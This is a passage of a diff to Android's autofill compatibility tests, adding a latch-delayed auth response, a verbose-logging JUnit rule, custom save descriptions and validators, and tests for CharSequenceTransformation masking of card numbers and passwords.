@@ -54,6 +62,12 @@
// Guarded by sLock
private static int sResultCode;
+ // Guarded by sLock
+ // Used to block response until it's counted down.
+ private static CountDownLatch sResponseLatch;
+
+ private Handler mHandler;
+
static void resetStaticState() {
setResultCode(RESULT_OK);
sDatasets.clear();
@@ -121,10 +135,54 @@
}
}
+ /**
+ * Sets the value that's passed to {@link Activity#setResult(int, Intent)}, but only calls it
+ * after the {@code latch}'s countdown reaches {@code 0}.
+ */
+ public static void setResultCode(CountDownLatch latch, int resultCode) {
+ synchronized (sLock) {
+ sResponseLatch = latch;
+ sResultCode = resultCode;
+ }
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
+ mHandler = new Handler(Looper.getMainLooper(), (m) -> {
+ switch (m.what) {
+ case MSG_WAIT_FOR_LATCH:
+ waitForLatchAndDoIt();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid message: " + m);
+ }
+ return true;
+ });
+
+ if (sResponseLatch != null) {
+ Log.d(TAG, "Delaying message until latch is counted down");
+ mHandler.dispatchMessage(mHandler.obtainMessage(MSG_WAIT_FOR_LATCH));
+ } else {
+ doIt();
+ }
+ }
+
+ private void waitForLatchAndDoIt() {
+ try {
+ final boolean called = sResponseLatch.await(5, TimeUnit.SECONDS);
+ if (!called) {
+ throw new IllegalStateException("latch not called in 5 seconds");
+ }
+ doIt();
+ } catch (InterruptedException e) {
+ Thread.interrupted();
+ throw new IllegalStateException("interrupted");
+ }
+ }
+
+ private void doIt() {
// We should get the assist structure...
final AssistStructure structure = getIntent().getParcelableExtra(
AutofillManager.EXTRA_ASSIST_STRUCTURE);
@@ -140,7 +198,12 @@
final Parcelable result;
if (response != null) {
- result = response.asFillResponse((id) -> Helper.findNodeByResourceId(structure, id));
+ if (response.getResponseType() == NULL) {
+ result = null;
+ } else {
+ result = response
+ .asFillResponse((id) -> Helper.findNodeByResourceId(structure, id));
+ }
} else if (dataset != null) {
result = dataset.asDataset((id) -> Helper.findNodeByResourceId(structure, id));
} else {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 1605517..e72d85d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -24,8 +24,6 @@
import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
-import static com.google.common.truth.Truth.assertWithMessage;
-
import android.autofillservice.cts.InstrumentedAutoFillService.Replier;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -58,11 +56,15 @@
public final RetryRule mRetryRule = new RetryRule(2);
@Rule
+ public final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
+
+ @Rule
public final RequiredFeatureRule mRequiredFeatureRule =
new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
protected final Context mContext;
protected final String mPackageName;
+
/**
* Stores the previous logging level so it's restored after the test.
*/
@@ -74,10 +76,14 @@
}
@BeforeClass
- public static void removeLockScreen() {
+ public static void prepareScreen() {
if (!hasAutofillFeature()) return;
+ // Unlock screen.
runShellCommand("input keyevent KEYCODE_WAKEUP");
+
+ // Collapse notifications.
+ runShellCommand("cmd statusbar collapse");
}
@BeforeClass
@@ -129,7 +135,7 @@
// exceptions would mask the real cause. A better approach might be using a @Rule or some other
// visitor pattern.
@After
- public void assertNothingIsPending() throws Exception {
+ public void assertNothingIsPending() throws Throwable {
final MultipleExceptionsCatcher catcher = new MultipleExceptionsCatcher()
.run(() -> sReplier.assertNumberUnhandledFillRequests(0))
.run(() -> sReplier.assertNumberUnhandledSaveRequests(0));
@@ -169,24 +175,15 @@
/**
* Asserts that the {@link InstrumentedAutoFillService} is enabled for the default user.
*/
- protected static void assertServiceEnabled() {
- assertServiceStatus(true);
+ protected void assertServiceEnabled() {
+ Helper.assertAutofillServiceStatus(SERVICE_NAME, true);
}
/**
* Asserts that the {@link InstrumentedAutoFillService} is disabled for the default user.
*/
- protected static void assertServiceDisabled() {
- assertServiceStatus(false);
- }
-
- /**
- * Asserts that there is no session left in the service.
- */
- protected void assertNoDanglingSessions() {
- final String command = "cmd autofill list sessions";
- final String result = runShellCommand(command);
- assertWithMessage("Dangling sessions ('%s'): %s'", command, result).that(result).isEmpty();
+ protected void assertServiceDisabled() {
+ Helper.assertAutofillServiceStatus(SERVICE_NAME, false);
}
protected RemoteViews createPresentation(String message) {
@@ -195,16 +192,4 @@
presentation.setTextViewText(R.id.text1, message);
return presentation;
}
-
- private static boolean isServiceEnabled() {
- final String service = runShellCommand("settings get secure %s", AUTOFILL_SERVICE);
- return SERVICE_NAME.equals(service);
- }
-
- private static void assertServiceStatus(boolean enabled) {
- final String actual = runShellCommand("settings get secure %s", AUTOFILL_SERVICE);
- final String expected = enabled ? SERVICE_NAME : "null";
- assertWithMessage("Invalid value for secure setting %s", AUTOFILL_SERVICE)
- .that(actual).isEqualTo(expected);
- }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
index 7cf3c64..88fd1e0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
@@ -28,6 +28,10 @@
super(activityClass);
}
+ public AutofillActivityTestRule(Class<T> activityClass, boolean launchActivity) {
+ super(activityClass, false, launchActivity);
+ }
+
@Override
protected void beforeActivityLaunched() {
Helper.preTestCleanup();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
new file mode 100644
index 0000000..e0ff683
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.runShellCommand;
+
+import android.util.Log;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+/**
+ * Custom JUnit4 rule that improves autofill-related logging by:
+ *
+ * <ol>
+ * <li>Setting logging level to verbose before test start.
+ * <li>Call {@code dumpsys autofill} in case of failure.
+ * </ol>
+ */
+public class AutofillLoggingTestRule implements TestRule {
+
+ private final String mTag;
+
+ public AutofillLoggingTestRule(String tag) {
+ mTag = tag;
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+
+ @Override
+ public void evaluate() throws Throwable {
+ final String levelBefore = runShellCommand("cmd autofill get log_level");
+ if (!levelBefore.equals("verbose")) {
+ runShellCommand("cmd autofill set log_level verbose");
+ }
+ try {
+ base.evaluate();
+ } catch (Throwable t) {
+ if ((t instanceof AssumptionViolatedException)) {
+ // This exception is used to indicate a test should be skipped and is
+ // ignored by JUnit runners - we don't need to dump it...
+ Log.w(mTag, "ignoring exception: " + t);
+ } else {
+ final String dump = runShellCommand("dumpsys autofill");
+ Log.e(mTag, "dump for " + description.getDisplayName() + ": \n" + dump, t);
+ }
+ throw t;
+ } finally {
+ if (!levelBefore.equals("verbose")) {
+ runShellCommand("cmd autofill set log_level %s", levelBefore);
+ }
+ }
+ }
+ };
+ }
+
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index ff18003..c319730 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -16,9 +16,6 @@
package android.autofillservice.cts;
-import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
-import static android.autofillservice.cts.Helper.eventually;
-
import static com.google.common.truth.Truth.assertThat;
import static org.testng.Assert.assertThrows;
@@ -422,7 +419,7 @@
.setField("editText", "filled")
.setPresentation(createPresentation("dataset"))
.build());
- MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
+ MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 1,
mTimePicker, 12, 32);
mTimePicker.setOnTimeChangedListener(timeWatcher);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index 07d4721..cf2cc6d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -15,17 +15,20 @@
*/
package android.autofillservice.cts;
+import static android.autofillservice.cts.Helper.getAutofillIds;
+
import static com.google.common.truth.Truth.assertWithMessage;
-import static android.autofillservice.cts.Helper.getAutofillIds;
import android.app.assist.AssistStructure;
import android.app.assist.AssistStructure.ViewNode;
import android.content.IntentSender;
import android.os.Bundle;
+import android.service.autofill.CustomDescription;
import android.service.autofill.Dataset;
import android.service.autofill.FillCallback;
import android.service.autofill.FillResponse;
import android.service.autofill.SaveInfo;
+import android.service.autofill.Validator;
import android.view.autofill.AutofillId;
import android.view.autofill.AutofillValue;
import android.widget.RemoteViews;
@@ -58,9 +61,11 @@
private final List<CannedDataset> mDatasets;
private final String mFailureMessage;
private final int mSaveType;
+ private final Validator mValidator;
private final String[] mRequiredSavableIds;
private final String[] mOptionalSavableIds;
private final String mSaveDescription;
+ private final CustomDescription mCustomDescription;
private final Bundle mExtras;
private final RemoteViews mPresentation;
private final IntentSender mAuthentication;
@@ -74,9 +79,11 @@
mResponseType = builder.mResponseType;
mDatasets = builder.mDatasets;
mFailureMessage = builder.mFailureMessage;
+ mValidator = builder.mValidator;
mRequiredSavableIds = builder.mRequiredSavableIds;
mOptionalSavableIds = builder.mOptionalSavableIds;
mSaveDescription = builder.mSaveDescription;
+ mCustomDescription = builder.mCustomDescription;
mSaveType = builder.mSaveType;
mExtras = builder.mExtras;
mPresentation = builder.mPresentation;
@@ -124,11 +131,17 @@
}
}
if (mRequiredSavableIds != null) {
- final SaveInfo.Builder saveInfo = new SaveInfo.Builder(mSaveType,
- getAutofillIds(nodeResolver, mRequiredSavableIds));
+ final SaveInfo.Builder saveInfo =
+ mRequiredSavableIds == null || mRequiredSavableIds.length == 0
+ ? new SaveInfo.Builder(mSaveType)
+ : new SaveInfo.Builder(mSaveType,
+ getAutofillIds(nodeResolver, mRequiredSavableIds));
saveInfo.setFlags(mFlags);
+ if (mValidator != null) {
+ saveInfo.setValidator(mValidator);
+ }
if (mOptionalSavableIds != null) {
saveInfo.setOptionalIds(getAutofillIds(nodeResolver, mOptionalSavableIds));
}
@@ -136,6 +149,10 @@
saveInfo.setDescription(mSaveDescription);
}
saveInfo.setNegativeAction(mNegativeActionStyle, mNegativeActionListener);
+
+ if (mCustomDescription != null) {
+ saveInfo.setCustomDescription(mCustomDescription);
+ }
builder.setSaveInfo(saveInfo.build());
}
if (mIgnoredIds != null) {
@@ -159,6 +176,7 @@
+ ", flags=" + mFlags
+ ", failureMessage=" + mFailureMessage
+ ", saveDescription=" + mSaveDescription
+ + ", mCustomDescription=" + mCustomDescription
+ ", hasPresentation=" + (mPresentation != null)
+ ", hasAuthentication=" + (mAuthentication != null)
+ ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
@@ -176,9 +194,11 @@
private final List<CannedDataset> mDatasets = new ArrayList<>();
private final ResponseType mResponseType;
private String mFailureMessage;
+ private Validator mValidator;
private String[] mRequiredSavableIds;
private String[] mOptionalSavableIds;
private String mSaveDescription;
+ public CustomDescription mCustomDescription;
public int mSaveType = -1;
private Bundle mExtras;
private RemoteViews mPresentation;
@@ -204,6 +224,14 @@
}
/**
+ * Sets the validator for this request
+ */
+ public Builder setValidator(Validator validator) {
+ mValidator = validator;
+ return this;
+ }
+
+ /**
* Sets the required savable ids based on they {@code resourceId}.
*/
public Builder setRequiredSavableIds(int type, String... ids) {
@@ -234,6 +262,14 @@
}
/**
+ * Sets the description passed to the {@link SaveInfo}.
+ */
+ public Builder setCustomDescription(CustomDescription description) {
+ mCustomDescription = description;
+ return this;
+ }
+
+ /**
* Sets the extra passed to {@link
* android.service.autofill.FillResponse.Builder#setClientState(Bundle)}.
*/
@@ -330,18 +366,18 @@
if (mFieldValues != null) {
for (Map.Entry<String, AutofillValue> entry : mFieldValues.entrySet()) {
- final String resourceId = entry.getKey();
- final ViewNode node = nodeResolver.apply(resourceId);
+ final String id = entry.getKey();
+ final ViewNode node = nodeResolver.apply(id);
if (node == null) {
- throw new AssertionError("No node with resource id " + resourceId);
+ throw new AssertionError("No node with resource id " + id);
}
- final AutofillId id = node.getAutofillId();
+ final AutofillId autofillid = node.getAutofillId();
final AutofillValue value = entry.getValue();
- final RemoteViews presentation = mFieldPresentations.get(resourceId);
+ final RemoteViews presentation = mFieldPresentations.get(id);
if (presentation != null) {
- builder.setValue(id, value, presentation);
+ builder.setValue(autofillid, value, presentation);
} else {
- builder.setValue(id, value);
+ builder.setValue(autofillid, value);
}
}
}
@@ -354,7 +390,7 @@
return "CannedDataset " + mId + " : [hasPresentation=" + (mPresentation != null)
+ ", fieldPresentations=" + (mFieldPresentations)
+ ", hasAuthentication=" + (mAuthentication != null)
- + ", fieldValuess=" + mFieldValues + "]";
+ + ", fieldValues=" + mFieldValues + "]";
}
static class Builder {
@@ -373,47 +409,71 @@
}
/**
- * Sets the canned value of a text field based on its {@code resourceId}.
+ * Sets the canned value of a text field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, String text) {
- return setField(resourceId, AutofillValue.forText(text));
+ public Builder setField(String id, String text) {
+ return setField(id, AutofillValue.forText(text));
}
/**
- * Sets the canned value of a list field based on its {@code resourceId}.
+ * Sets the canned value of a list field based on its its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, int index) {
- return setField(resourceId, AutofillValue.forList(index));
+ public Builder setField(String id, int index) {
+ return setField(id, AutofillValue.forList(index));
}
/**
- * Sets the canned value of a toggle field based on its {@code resourceId}.
+ * Sets the canned value of a toggle field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, boolean toggled) {
- return setField(resourceId, AutofillValue.forToggle(toggled));
+ public Builder setField(String id, boolean toggled) {
+ return setField(id, AutofillValue.forToggle(toggled));
}
/**
- * Sets the canned value of a date field based on its {@code resourceId}.
+ * Sets the canned value of a date field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, long date) {
- return setField(resourceId, AutofillValue.forDate(date));
+ public Builder setField(String id, long date) {
+ return setField(id, AutofillValue.forDate(date));
}
/**
- * Sets the canned value of a date field based on its {@code resourceId}.
+ * Sets the canned value of a date field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, AutofillValue value) {
- mFieldValues.put(resourceId, value);
+ public Builder setField(String id, AutofillValue value) {
+ mFieldValues.put(id, value);
return this;
}
/**
- * Sets the canned value of a field based on its {@code resourceId}.
+ * Sets the canned value of a field based on its {@code id}.
+ *
+ * <p>The meaning of the id is defined by the object using the canned dataset.
+ * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+ * {@link IdMode}.
*/
- public Builder setField(String resourceId, String text, RemoteViews presentation) {
- setField(resourceId, text);
- mFieldPresentations.put(resourceId, presentation);
+ public Builder setField(String id, String text, RemoteViews presentation) {
+ setField(id, text);
+ mFieldPresentations.put(id, presentation);
return this;
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
new file mode 100644
index 0000000..e68483b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentMatcher;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class CharSequenceTransformationTest {
+
+ @Test
+ public void testAllNullBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new CharSequenceTransformation.Builder(null, null, null));
+ }
+
+ @Test
+ public void testNullAutofillIdBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new CharSequenceTransformation.Builder(null, Pattern.compile(""), ""));
+ }
+
+ @Test
+ public void testNullRegexBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new CharSequenceTransformation.Builder(new AutofillId(1), null, ""));
+ }
+
+ @Test
+ public void testNullSubstBuilder() {
+ assertThrows(NullPointerException.class,
+ () -> new CharSequenceTransformation.Builder(new AutofillId(1), Pattern.compile(""),
+ null));
+ }
+
+ @Test
+ public void testBadSubst() {
+ AutofillId id1 = new AutofillId(1);
+ AutofillId id2 = new AutofillId(2);
+ AutofillId id3 = new AutofillId(3);
+ AutofillId id4 = new AutofillId(4);
+
+ CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+ Pattern.compile("(.)"), "1=$1");
+
+ // bad subst: The regex has no capture groups
+ b.addField(id2, Pattern.compile("."), "2=$1");
+
+ // bad subst: The regex does not have enough capture groups
+ b.addField(id3, Pattern.compile("(.)"), "3=$2");
+
+ b.addField(id4, Pattern.compile("(.)"), "4=$1");
+
+ CharSequenceTransformation trans = b.build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id1)).thenReturn("a");
+ when(finder.findByAutofillId(id2)).thenReturn("b");
+ when(finder.findByAutofillId(id3)).thenReturn("c");
+ when(finder.findByAutofillId(id4)).thenReturn("d");
+
+ assertThrows(ArrayIndexOutOfBoundsException.class, () -> trans.apply(finder, template, 0));
+
+ // fail one, fail all
+ verify(template, never()).setCharSequence(eq(0), any(), any());
+ }
+
+ @Test
+ public void testUnknownField() throws Exception {
+ AutofillId id1 = new AutofillId(1);
+ AutofillId id2 = new AutofillId(2);
+ AutofillId unknownId = new AutofillId(42);
+
+ CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+ Pattern.compile(".*"), "1");
+
+ // bad subst: The field will not be found
+ b.addField(unknownId, Pattern.compile(".*"), "unknown");
+
+ b.addField(id2, Pattern.compile(".*"), "2");
+
+ CharSequenceTransformation trans = b.build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id1)).thenReturn("1");
+ when(finder.findByAutofillId(id2)).thenReturn("2");
+ when(finder.findByAutofillId(unknownId)).thenReturn(null);
+
+ trans.apply(finder, template, 0);
+
+ // if a view cannot be found, nothing is not, not even partial results
+ verify(template, never()).setCharSequence(eq(0), any(), any());
+ }
+
+ @Test
+ public void testCreditCardObfuscator() throws Exception {
+ AutofillId creditCardFieldId = new AutofillId(1);
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(creditCardFieldId,
+ Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"),
+ "...$1")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("...3456")));
+ }
+
+ @Test
+ public void testReplaceAllByOne() throws Exception {
+ AutofillId id = new AutofillId(1);
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(id, Pattern.compile("."), "*")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("four");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("****")));
+ }
+
+ @Test
+ public void testPartialMatchIsIgnored() throws Exception {
+ AutofillId id = new AutofillId(1);
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(id, Pattern.compile("^MATCH$"), "*")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("preMATCHpost");
+
+ trans.apply(finder, template, 0);
+
+ verify(template, never()).setCharSequence(eq(0), any(), any());
+ }
+
+ @Test
+ public void userNameObfuscator() throws Exception {
+ AutofillId userNameFieldId = new AutofillId(1);
+ AutofillId passwordFieldId = new AutofillId(2);
+ CharSequenceTransformation trans = new CharSequenceTransformation
+ .Builder(userNameFieldId, Pattern.compile("(.*)"), "$1")
+ .addField(passwordFieldId, Pattern.compile(".*(..)$"), "/..$1")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(userNameFieldId)).thenReturn("myUserName");
+ when(finder.findByAutofillId(passwordFieldId)).thenReturn("myPassword");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setCharSequence(eq(0), any(),
+ argThat(new CharSequenceMatcher("myUserName/..rd")));
+ }
+
+ @Test
+ public void testMismatch() throws Exception {
+ AutofillId id1 = new AutofillId(1);
+ CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+ Pattern.compile("Who are you?"), "1");
+
+ CharSequenceTransformation trans = b.build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id1)).thenReturn("I'm Batman!");
+
+ trans.apply(finder, template, 0);
+
+ // If the match fails, the view should not change.
+ verify(template, never()).setCharSequence(eq(0), any(), any());
+ }
+
+ static class CharSequenceMatcher implements ArgumentMatcher<CharSequence> {
+ private final CharSequence mExpected;
+
+ public CharSequenceMatcher(CharSequence expected) {
+ mExpected = expected;
+ }
+
+ @Override
+ public boolean matches(CharSequence actual) {
+ return actual.toString().equals(mExpected.toString());
+ }
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
index 0b8d938..84be355 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
@@ -74,19 +74,25 @@
private FillExpectation mExpectation;
private CountDownLatch mBuyLatch;
+ private static CheckoutActivity sInstance;
+
+ public CheckoutActivity() {
+ sInstance = this;
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(getContentView());
- mCcNumber = (EditText) findViewById(R.id.cc_number);
- mCcExpiration = (Spinner) findViewById(R.id.cc_expiration);
- mAddress = (RadioGroup) findViewById(R.id.address);
- mHomeAddress = (RadioButton ) findViewById(R.id.home_address);
- mSaveCc = (CheckBox) findViewById(R.id.save_cc);
- mBuyButton = (Button) findViewById(R.id.buy);
- mClearButton = (Button) findViewById(R.id.clear);
+ mCcNumber = findViewById(R.id.cc_number);
+ mCcExpiration = findViewById(R.id.cc_expiration);
+ mAddress = findViewById(R.id.address);
+ mHomeAddress = findViewById(R.id.home_address);
+ mSaveCc = findViewById(R.id.save_cc);
+ mBuyButton = findViewById(R.id.buy);
+ mClearButton = findViewById(R.id.clear);
mCcExpirationAdapter = createFromResource(this,
R.array.cc_expiration_values, android.R.layout.simple_spinner_item);
@@ -98,6 +104,12 @@
mClearButton.setOnClickListener((v) -> resetFields());
}
+ static void finishIt() {
+ if (sInstance != null) {
+ sInstance.finish();
+ }
+ }
+
protected int getContentView() {
return R.layout.checkout_activity;
}
@@ -203,6 +215,18 @@
.that(called).isTrue();
}
+ EditText getCcNumber() {
+ return mCcNumber;
+ }
+
+ Spinner getCcExpiration() {
+ return mCcExpiration;
+ }
+
+ ArrayAdapter<CharSequence> getCcExpirationAdapter() {
+ return mCcExpirationAdapter;
+ }
+
/**
* Holder for the expected auto-fill values.
*/
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
index 6ba5431..59b0b7c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
@@ -42,7 +42,12 @@
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.CustomDescription;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
import android.widget.ArrayAdapter;
+import android.widget.RemoteViews;
import android.widget.Spinner;
import org.junit.After;
@@ -51,6 +56,7 @@
import org.junit.Test;
import java.util.Arrays;
+import java.util.regex.Pattern;
/**
* Test case for an activity containing non-TextField views.
@@ -101,7 +107,7 @@
final CharSequence[] options = ccExpirationNode.getAutofillOptions();
assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNotNull();
assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
- .containsExactly(
+ .containsExactly((Object [])
getContext().getResources().getStringArray(R.array.cc_expiration_values))
.inOrder();
@@ -242,4 +248,114 @@
assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_WORK_ADDRESS), true);
assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_SAVE_CC), false);
}
+
+ /**
+ * Tests that a spinner can be used on custom save descriptions.
+ */
+ @Test
+ public void testCustomizedSaveUi() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final String packageName = getContext().getPackageName();
+
+ final RemoteViews presentation = new RemoteViews(packageName,
+ R.layout.two_horizontal_text_fields);
+ final CharSequenceTransformation trans1 = new CharSequenceTransformation
+ .Builder(mActivity.getCcNumber().getAutofillId(), Pattern.compile("(.*)"), "$1")
+ .build();
+ final CharSequenceTransformation trans2 = new CharSequenceTransformation
+ .Builder(mActivity.getCcExpiration().getAutofillId(), Pattern.compile("(.*)"), "$1")
+ .build();
+ final CustomDescription customDescription = new CustomDescription.Builder(presentation)
+ .addChild(R.id.first, trans1)
+ .addChild(R.id.second, trans2)
+ .build();
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
+ .setCustomDescription(customDescription)
+ .build());
+
+ // Dynamically change view contents
+ mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+
+ // Trigger auto-fill.
+ mActivity.onCcNumber((v) -> v.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ mActivity.onCcNumber((v) -> v.setText("4815162342"));
+ mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+ mActivity.tapBuy();
+
+ // First make sure the UI is shown...
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
+
+ // Then make sure it does have the custom views on it...
+ final UiObject2 staticText = saveUi.findObject(By.res(packageName, "static_text"));
+ assertThat(staticText).isNotNull();
+ assertThat(staticText.getText()).isEqualTo("YO:");
+
